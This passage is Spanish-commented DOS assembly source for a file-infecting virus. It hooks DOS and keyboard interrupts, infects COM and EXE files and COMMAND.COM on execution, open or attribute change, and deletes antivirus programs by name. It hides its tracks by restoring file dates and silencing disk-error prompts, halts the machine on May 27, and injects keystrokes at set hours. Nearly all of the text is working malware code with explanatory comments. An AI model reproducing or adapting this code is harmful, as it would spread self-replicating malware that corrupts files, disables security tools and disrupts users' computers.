	MOV	WORD PTR es:[21h*4],newint21-vstart
	MOV	es:[21h*4+2],DS	; capturar int 21 via acceso directo
	STI
	MOV	AX,3516h
	INT	21h
	MOV	word ptr ds:[oldint16-vstart],BX ; lo mismo con int 16
	MOV	word ptr ds:[oldint16-vstart+2],ES
	XOR	AX,AX
	MOV	ES,AX
	CLI
	MOV	WORD PTR es:[16h*4],newint16-vstart ; lo mismo
	MOV	es:[16h*4+2],DS
	STI
	RET

newint21:
	PUSH	AX
	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	DI
	PUSH	SI
	PUSH	ES
	PUSH	DS
	PUSHF
	MOV	WORD PTR cs:[vsize-vstart],evsize ; innecesario, pero bueh.
	MOV	WORD PTR cs:[vSIP-vstart],evSIP
	CMP	AH,4Bh   ; <- infecta al correr files,
	JZ	intercept
	CMP	AX,3D00h; <- al abrir files
	JZ	intercept
	CMP	AH,43h	; <- y al cambiar atributos.
	JZ	intercept
	JMP	quit21	; si no es nada de esto, ir a la int 21 original.

	IF B2BM
	NOP; Esto pasa por no poner el /M9 :-). Si compilan con 1 pasada 
	; "comenten" este NOP, si compilan con /M9 o /M lo que sea, dejenlo asi
	; (si quieren un byte match del virus).
	ENDIF

disparador:
	; Este es uno de los disparadores.
	MOV	AH,2Ah ; obtener fecha..
	INT	21h
	CMP	DX,51Bh ; es 27/mayo...?
	JNZ	quit21
	MOV	DX,string3-vstart
	PUSH	CS
	POP	DS
	MOV	AH,9 ; imprime "­Feliz cumplea¤os CPW!"
	INT	21h
	HLT ; y cuelga la maquina...

quit21:
	POPF
	POP	DS
	POP	ES
	POP	SI
	POP	DI
	POP	DX
	POP	CX
	POP	BX
	POP	AX
	JMP	cs:dword ptr [oldint21-vstart]

intercept:
	CALL	dumberror ; estupidizar int 24
	PUSH	DS
	PUSH	DX
	PUSH	CS
	POP	DS
	CMP	BYTE PTR ds:[orbytes-vstart],1
	JZ	nocommandcom
	IF B2BM
		dw 168dh, string2-vstart
	ELSE
		LEA	DX,ds:[string2-vstart] ;  "COMMAND.COM"
	ENDIF
	CALL	infect ; infectar command.com
	MOV	BYTE PTR ds:[orbytes-vstart],1
nocommandcom:
	POP	DX
	POP	DS
	CALL	checkav; BORRAR los antivirus
	JB	shit2
	CALL	infect ; infeccion en si
shit2:
	CALL	restorerr ; restaurar int 24 posta
	JMP	disparador ; chequear el disparador del 27/5

infect:; infectar DS:DX (sea lo que sea).
	MOV	cs:word ptr [nameptr-vstart],DX	; guardar cuidadosamente el
	MOV	cs:word ptr [nameptr-vstart+2],DS; ptr al nombre del file
	MOV	CX,50h
	MOV	AL,'.'
	PUSH	DS
	POP	ES
	PUSH	DX
	POP	DI
	REPNZ
	SCASB ; buscar el PUNTO...
	JNZ	notfound
	; esta diferenciacion por la extension COM o EXE es medio 
	; innecesaria ya que despues se fija en la marca MZ
	CMP	WORD PTR es:[DI],4F43h; "CO"
	JNZ	notcomext
	ADD	DI,2
	CMP	BYTE PTR es:[DI],4Dh; "M"
	JZ	iscomext
notcomext:
	CMP	WORD PTR es:[DI],5845h; "EX"
	JNZ	notfound
	ADD	DI,2
	CMP	BYTE PTR es:[DI],45h; "E"
	JZ	isexeext
notfound:
	RET


iscomext: ; infeccion para files COM
	CALL	fixattr; modificar atributos del filen (para poder infectar)
	JB	abortinfcom
	CALL	openfile ; abrir el file
	PUSH	CS
	POP	DS
	CALL	getlen; chequear infeccion previa
	JZ	shit4
	CALL	checkspace ; chequear que haya espacio en disco
	JB	shit4
	CALL	getftimedate ; get file time and date del file
	XOR	CX,CX
	XOR	DX,DX
	MOV	AX,4200h ; move ptr to file begining
	INT	21h
	MOV	BX,cs:[fhandle-vstart]
	MOV	CX,3
	MOV	DX,orbytes-vstart ; read 1st 3 bytes
	MOV	AH,3Fh
	INT	21h
	CMP	WORD PTR ds:[orbytes-vstart],5A4Dh; es MZ EXE?
	JZ	isexeMZ	; si es exe, ir a rutina de infeccion de EXE
	XOR	CX,CX
	XOR	DX,DX
	MOV	AX,4200h ;move ptr to begin.
	INT	21h
	MOV	CX,3
	IF B2BM
		dw 168dh, jmpfix-vstart
	ELSE
		LEA	DX,ds:[jmpfix-vstart]
	ENDIF
	MOV	AH,40h ; write JMP al principio del file
	INT	21h
	MOV	BYTE PTR ds:[ftype-vstart],1; ?
	CALL	appendvir; append virus to file
	CALL	restoreftd; restore original file time & date
shit4:
	CALL	closefile; cerrar archivo
	CALL	restorefattr ; restablecer atributos originales
abortinfcom:
	RET

isexeext:	; Rutina de infeccion de EXE
	CALL	fixattr
	JNB	fixok ; jejeje Relative Jump is Out of range :-)
	JMP	abortinfexe ; todos tenemos los mismos problemas, se ve :-)
fixok:
	CALL	openfile ; abrir el file
	PUSH	CS
	POP	DS
	CALL	getlen ; chequear infeccion previa
	JNZ	isexeMZ
	JMP	shit5 ; si esta infectado, no reinfectar
isexeMZ:
	CALL	checkspace ; chequear espacio en disco.
	JNB	spaceok
	JMP	shit5
spaceok:
	PUSH	CS
	POP	ES
	MOV	BX,cs:[fhandle-vstart]
	XOR	CX,CX
	XOR	DX,DX
	MOV	AX,4200h ; move ptr to beg.
	INT	21h
	MOV	CX,18h
	IF B2BM
		dw 168dh, readbufexe-vstart
	ELSE
		LEA	DX,ds:[readbufexe-vstart]
	ENDIF
	MOV	AH,3Fh ; leer 18h bytes (el header)
	INT	21h
	CMP	WORD PTR ds:[readbufexe-vstart],5A4Dh
	JNZ	shit5
	; infecta EXE de extension .COM, pero no COM de extension .EXE
	CALL	getftimedate
	MOV	CX,18h
	IF B2BM
		dw 368dh, readbufexe-vstart
		dw 3e8dh, readbufexe2-vstart
	ELSE
		LEA	SI,ds:[readbufexe-vstart]
		LEA	DI,ds:[readbufexe2-vstart]
	ENDIF
	REPZ		; hacer una 2da copia del header
	MOVSB
	XOR	CX,CX
	XOR	DX,DX
	MOV	AX,4202h
	INT	21h
	PUSH	DX
	PUSH	AX ; DX.AX file size
	MOV	CX,10h ; ver si el file termina en paragrafo
	DIV	CX
	SUB	AX,ds:[readbufexe2-vstart+8]
	MOV	ds:[readbufexe2-vstart+16h],AX ; New CS = FSize/10h-Header Size
	ADD	DX,begin-vstart ; como vemos, el virus no recibe el control en
	; un offset fijo en EXE
	MOV	ds:[readbufexe2-vstart+14h],DX; vstarting IP
	ADD	AX,ds:[vSIP-vstart]
	MOV	ds:[readbufexe2-vstart+14],AX ; starting SS = cs+VSIP :-)
	MOV	WORD PTR ds:[readbufexe2-vstart+10h],100h ; starting SP=100
	POP	AX
	POP	DX
	ADD	AX,ds:[vsize-vstart]
	ADC	DX,0
	MOV	CX,200h
	DIV	CX
	INC	AX
	MOV	ds:[readbufexe2-vstart+2],DX ; modificar el size en el header
	MOV	ds:[readbufexe2-vstart+4],AX
	MOV	BYTE PTR ds:[ftype-vstart],0 ; tipo = EXE
	MOV	AX,4200h
	XOR	CX,CX
	XOR	DX,DX
	MOV	BX,cs:[fhandle-vstart]
	INT	21h
	MOV	CX,18h
	IF B2BM
		dw 168dh, readbufexe2-vstart
	ELSE
		LEA	DX,ds:[readbufexe2-vstart]
	ENDIF
	MOV	AH,40h ; escribir el header manipulado
	INT	21h
	CALL	appendvir ; agregar el virus al final
	CALL	restoreftd ; restaurar file time & date
shit5:
	CALL	closefile ; cerrar
	CALL	restorefattr ; atrib. originales
abortinfexe:
	RET
openfile:
	; esta rutina sencillamente abre el file. como ven, llama a la INT 21
	; original para no pisarse la cola.
	MOV	AX,3D02h
	PUSHF
	CALL	cs:dword ptr [oldint21-vstart]; ????
	MOV	cs:word ptr [fhandle-vstart],AX
	RET
closefile:
	; cierra el file (medio obvio no?)
	MOV	BX,cs:[fhandle-vstart]
	MOV	AH,3Eh
	INT	21h
	RET

fixattr:
	; guardar los viejos atributos, y setearlos a 0, para poder infectar 
	; files read only, etc.
	MOV	AX,4300h
	PUSHF
	CALL	cs:dword ptr [oldint21-vstart]
	MOV	cs:[oldfattr-vstart],CX ; guardar los atributos originales en 
	MOV	CX,0			; una variable
	MOV	AX,4301h
	PUSHF
	CALL	cs:dword ptr [oldint21-vstart]
	RET

restorefattr:
	; esta rutina restaura los atributos originales del file
	CALL	retrievename
	MOV	CX,cs:[oldfattr-vstart]
	MOV	AX,4301h
	PUSHF
	CALL	dword ptr cs:[oldint21-vstart]
	PUSH	CS
	POP	DS
	RET

getftimedate:
	; consigue y guarda el time & date del file
	MOV	AX,5700h
	MOV	BX,cs:[fhandle-vstart]
	INT	21h
	MOV	ds:[fdate-vstart],DX
	MOV	ds:[ftime-vstart],CX
	RET

restoreftd:
	; restaura el t&d del file
	MOV	AX,5701h
	MOV	BX,cs:[fhandle-vstart]
	MOV	DX,ds:[fdate-vstart]
	MOV	CX,ds:[ftime-vstart]
	INT	21h
	RET

retrievename:
	; re-poner el nombre del file en DS:DX
	MOV	DX,cs:[nameptr-vstart]
	MOV	DS,cs:[nameptr-vstart+2]
	RET

getlen:
	; chequear infeccion previa
	MOV	CX,0FFFFh ; -1
	MOV	DX,0FFFDh ; -3
	MOV	BX,ds:[fhandle-vstart] ; get file handle
	MOV	AX,4202h
	INT	21h
	MOV	ds:[jmpfix-vstart+1],AX
	MOV	CX,3
	MOV	DX,readbuf-vstart
	MOV	AH,3Fh
	INT	21h
	CMP	WORD PTR ds:[readbuf-vstart],534Ch 
	; comparar con "LS" (de "ULS", la marca al final del virus)
	RET

dumberror:
	; setear INT 24 (critical error handler, genera el mensaje "disk is 
	; write protected", etc) a un dumb handler
	MOV	AX,3524h ; get int 24
	INT	21h
	MOV	cs:word ptr [offset oldint24-offset vstart],BX; 935
	MOV	cs:word ptr [offset oldint24-offset vstart+2],ES
	PUSH	DS
	PUSH	DX
	PUSH	CS
	POP	DS
	MOV	DX,newint24-vstart ; 998
	MOV	AX,2524h; setint24 to dumb shit
	INT	21h
	POP	DX
	POP	DS
	RET
restorerr:
	; restaurar int 24
	MOV	DX,cs:word ptr [oldint24-vstart] ; OJO ACA!
	MOV	DS,cs:word ptr [oldint24-vstart+2]
	MOV	AX,2524h
	INT	21h
	RET

checkspace:
	; rutina para chequear que el espacio libre en el disco sea suficiente
	; para agregar esta nueva copia del virus
	CLD
	CALL	retrievename ; put name back in DS:DX
	MOV	DI,DX
	XOR	DL,DL
	CMP	BYTE PTR [DI+1],3Ah; hay ':'? ("C:..", "D:..")
	JNZ	nodrive ; hay un drive al principio de la string?
	MOV	DL,[DI]
	AND	DL,1Fh ; ir de caracter "C" a numero 3 para la llamada
nodrive: ; si no hay drive, se fija en A:? (0)..
	MOV	AH,36h; get disk free space
	INT	21h
	PUSH	CS
	POP	DS
	CMP	AX,0FFFFh; invalid drive?
	JZ	invalidrive
; ax sector per cluster, bx nro clusters
; cx bytes per sector
	MUL	BX
	MUL	CX
	OR	DX,DX
	JNZ	okdrive
	CMP	AX,ds:[vsize-vstart]; ???
	JB	invalidrive
okdrive:
	CLC
	RET
invalidrive:
	CLC ; CLC+CMC => STC :-) Je!
	CMC
	RET

checkav:
; esta rutina se fija si el nombre del file es una substring de:
; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS". si es asi, borra el file :-)
	CALL	decrypttxt
	CLD
	MOV	CX,50h
	MOV	AL,'.'
	PUSH	DS
	POP	ES
	PUSH	DX
	POP	DI
	REPNZ	SCASB	; buscar el puntito (hacia adelante)
	DEC	DI
	PUSH	DI
	POP	BX
	MOV	AL,5Ch ; buscar la "\" barra (hacia atras)
	STD
	MOV	CX,50h
	REPNZ	SCASB
	ADD	DI,2
	PUSH	DI
	POP	SI
	SUB	BX,DI
	CLD
	MOV	CX,28h
	PUSH	CS
	POP	ES
	MOV	DI,antivstr-vstart
	MOV	AL,[SI]
keepscan:
	REPNZ
	SCASB ; scanear caracter * caracter
	JCXZ	abortscan
	PUSH	CX
	PUSH	SI
	PUSH	DI
	INC	SI
	MOV	CX,BX
	DEC	CX
	REPZ	; es substring o no?
	CMPSB
	POP	DI
	POP	SI
	POP	CX
	JNZ	keepscan ; si no es, seguir hasta que se acabe el nombre 
	NOT	CX
	INC	CX
	ADD	CX,28h; se ignoran los primeros 11 caracteres ("CNCGUARDEMS")
	CMP	CX,0bh; porque, preguntenle a CPW
	JB	quitscan
	MOV	AH,41h ; DELETE FILE ... de onda, viste? :-)
	INT	21h
quitscan:
	CALL	decrypttxt
	STC
	RET
abortscan:
	CALL	decrypttxt
	CLC
	RET

decrypttxt:
	; esta rutina desencripta el textito de la rutina anterior
	MOV	CX,28h
	MOV	SI,antivstr-vstart
decrypt:
	MOV	AL,0FFh
	SUB	AL,cs:[SI]
	MOV	cs:[SI],AL
	INC	SI
	LOOP	decrypt
	RET

newint16:
	PUSHF
	CMP	AH,0 ;  getchar function?
	JZ	getchar ; yeahp..
	POPF
	JMP	dword ptr cs:[offset oldint16-offset vstart]
getchar:
	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	DS
	PUSH	SI
	PUSH	ES
	PUSHF
	CALL	cs:dword ptr [offset oldint16-offset vstart]
	PUSH	AX
	MOV	AX,40h
	MOV	ES,AX
	MOV	SI,6Ch ; 40:6C = timer del BIOS
	MOV	AX,es:[SI]
	MOV	DX,es:[SI+2]
	MOV	BX,8003h; 32771 tics * 2 = 65422 tics
	DIV	BX	; 65422 tics / 18.2 tics = 3594.6 segundos
	SHR	AX,1	; 3594.6 segundos / 60 segundos = 59.9 minutos = 1 hora
	MOV	CH,AL	; (NOTA: No es solo calculitos, tambien lo PROBE, y 
	MOV	AX,DX	; efectivamente se dispara a la 1pm y a las 0 hs.)
	XOR	DX,DX
	MOV	BX,444h
	DIV	BX
	MOV	CL,AL
	POP	AX
	CMP	CX,0D00h; Dh = 13. 13 HS.
	JZ	doit
	CMP	CX,0	; 0 hs.
	JNZ	quit16
doit:
	PUSH	CS
	POP	DS
	MOV	SI,ds:[index-vstart]
	MOV	AL,byte ptr [string4-vstart+si]
	INC	WORD PTR ds:[index-vstart]
	CMP	WORD PTR ds:[index-vstart],12h
	JNZ	quit16
	MOV	WORD PTR ds:[index-vstart],0
quit16:
	POP	ES
	POP	SI
	POP	DS
	POP	DX
	POP	CX
	POP	BX
	POPF
	IRET
	Marca	db	"ULS", 5 ; marca para impedir la reinfeccion.
vfin:
ends
end start